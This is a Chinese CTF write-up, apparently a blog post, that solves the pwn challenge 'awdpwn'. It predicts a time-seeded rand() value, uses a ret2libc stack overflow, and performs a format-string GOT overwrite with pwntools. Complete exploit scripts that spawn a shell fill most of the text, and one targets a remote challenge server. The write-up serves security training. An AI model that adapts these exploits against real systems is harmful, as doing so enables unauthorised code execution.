格式化字符串漏洞及随机数问题

一,题目问题类型

格式化:栈上格式化字符串漏洞修改got表

随机数:撞库

补充知识:

1.栈上格式化字符串漏洞修改got表:

payload = fmtstr_payload(偏移,{要修改函数got:目的函数})
通用形式是fmtstr_payload(offset,{address1:value1})

offset表示格式化字符串的偏移

例如:

fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作,可以实现修改任意内存

2.srand()与rand()函数:产生随机数,srand()和rand()配合使用会产生伪随机数序列。
rand函数在产生随机数前,需要系统提供的生成伪随机数序列的种子,rand根据这个种子的值产生一系列随机数。即rand函数是初始化随机数发生器,用来设置rand函数的种子seed。系统在调用rand函数时,会先调用srand函数,如果没有就会默认种子为1
如果系统提供的种子没有变化,每次调用rand函数生成的伪随机数序列都是一样的。
例:题目通常可以利用系统时间来改变系统的种子值,即srand(time(NULL)),可以为rand函数提供不同的种子值,进而产生不同的随机数序列。

time()函数:获取当前的系统时间距离1970年1月1日00:00过了多少秒,然后作为种子开启random,因为时间每秒都不同,所以就做到了每秒随机,如果你在一秒内连续运行这个程序,会发现随机数是一样的,题目会把时间作为种子,以此增加随机性。

撞库:libc = cdll.LoadLibrary('./libc.so.6')
           seed=libc.time(0)
           libc.srand(seed)

二,例题分析

ida反编译,checksec检查

审计代码:

随机数

当v4=1时,猜数,一般就是随机数了qwq,深入内部看看

宣~,果真是随机数,还time()起来了,闻着味就感觉是,以时间为种,v3=时间种%100,判断v2是否等于v3,博🐖第一次看时想到的是覆盖seed,但是刚学了随机数撞库,就想着温习一下。

然后栈溢出,ret2libc,前提是无沙盒保护,qwq。

栈上格式化字符串漏洞修改got表

                   当v4=2时,echoConch(博🐖不知道是啥意思,(●ˇ∀ˇ●)),问题不大,打开看看牢底到底是神马:

肥肠好,printf(buf),发现烫平哥,格式化字符串漏洞,再一看,好好好没有system,没后门。

只会给你说goodbye~bye。

三,解题思路

随机数:直接就撞库了,装两次就行了qwq,不知道怎么说。

格式化:我们发送v4=2,通过判断,利用仅有的一次读入,随便泄露个地址,找出偏移(老六)调试找出libc偏移(49),接收libcbase,后改掉exit,将其改为echoConch函数再次执行,我们可以无限制读入次数qwq,想怎么嘟就真么嘟,这里我们直接闪击其要害,第二次直接把printf函数改为system函数,它一直打印真嘟很烦,再次读入b"/bin/sh\x00"不多说了吧。

四,解题过程

随机数:

第一次:

from pwn import*
import ctypes
context(os='linux',arch='amd64',log_level='debug')
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf=ELF('./awdpwn')
p=remote("43.140.197.108",9903)
#p = process("./awdpwn")
rdi=0x0000000000400ac3
def bug():
	gdb.attach(p)
	pause() 
p.recvuntil(b'Please choose a game to play:')
p.sendline(str(1))
p.recvuntil(b'Your anwser:')
elf1=ctypes.CDLL("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf1.srand(elf1.time(0))
payload = str(elf1.rand()%100)
#bug()
p.sendline(payload)
p.recvuntil(b'You are right!')
pay=b'\x00'*(0xa0+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4009d3)
#bug()
p.send(pay)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
one=0x45226+libc_base

p.recvuntil(b'Please choose a game to play:')
p.sendline(str(1))

泄露好libc,准备好binsh

第二次: 

p.recvuntil(b'Your anwser:')
elf1=ctypes.CDLL("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf1.srand(elf1.time(0))
payload = str(elf1.rand()%100)
#bug()
p.sendline(payload)
p.recvuntil(b'You are right!')
pay=b'a'*(0xa0+8)+p64(rdi)+p64(binsh)+p64(rdi+1)+p64(system)

p.send(pay)
p.interactive() 

完事 :

from pwn import*
import ctypes
context(os='linux',arch='amd64',log_level='debug')
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
elf=ELF('./awdpwn')
p=remote("43.140.197.108",9903)
#p = process("./awdpwn")
rdi=0x0000000000400ac3
def bug():
	gdb.attach(p)
	pause() 
p.recvuntil(b'Please choose a game to play:')
p.sendline(str(1))
p.recvuntil(b'Your anwser:')
elf1=ctypes.CDLL("xxx")
elf1.srand(elf1.time(0))
payload = str(elf1.rand()%100)
p.sendline(payload)
p.recvuntil(b'You are right!')
pay=b'\x00'*(0xa0+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4009d3)
p.send(pay)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
one=0x45226+libc_base

p.recvuntil(b'Please choose a game to play:')
p.sendline(str(1))
p.recvuntil(b'Your anwser:')
elf1=ctypes.CDLL("xxx")
elf1.srand(elf1.time(0))
payload = str(elf1.rand()%100)
#bug()
p.sendline(payload)
p.recvuntil(b'You are right!')
pay=b'a'*(0xa0+8)+p64(rdi)+p64(binsh)+p64(rdi+1)+p64(system)#0xa0=160

p.send(pay)
p.interactive() 

格式化:

context(os='linux',arch='amd64',log_level='debug')
p= process('./awdpwn')
elf=ELF('./awdpwn')
echoConch=0x400982
p.recvuntil("Please choose a game to play:")
p.send(b'2\n')
payload=fmtstr_payload(6,{elf.got['exit']:echoConch})
bug()
p.send(payload)

payload=fmtstr_payload(6,{elf.got['exit']:echoConch}) 

我们看看调试情况:很明显更改成功

看看栈中情况 :

接下来打印libc——base:

rl("No matter what you say, I will repeat your words\n> ")
pay=b'%49$p'
p.send(pay)
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['__libc_start_main']-243
print("libc_base:",hex(libc_base))

调试:

libc_base:0x7fe2a464e000,libc_base是变化的。

接下来改printf函数并发送b"/bin/sh\x00":

system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
payload1=fmtstr_payload(6,{elf.got['printf']:system})+p64(bin_sh)
bug()
p.send(payload1)
p.interactive()  

可以看到

完整:

from pwn import *
from struct import pack
from ctypes import *
import base64
import gmpy2
def s(a):
    p.send(a)
def sla(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'],libc_base + next(libc.search(b'/bin/sh\x00'))
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")   
context(os='linux',arch='amd64',log_level='debug')
p= process('./awdpwn')
elf=ELF('./awdpwn')
echoConch=0x400982
p.recvuntil("Please choose a game to play:")
p.send(b'2\n')
payload=fmtstr_payload(6,{elf.got['exit']:echoConch})

p.send(payload)
rl("No matter what you say, I will repeat your words\n> ")
pay=b'%49$p'
p.send(pay)
p.recvuntil(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['__libc_start_main']-243
print("libc_base:",hex(libc_base))

system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
payload1=fmtstr_payload(6,{elf.got['printf']:system})+p64(bin_sh)
bug()
p.send(payload1)
p.interactive()        

 
  • 11
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值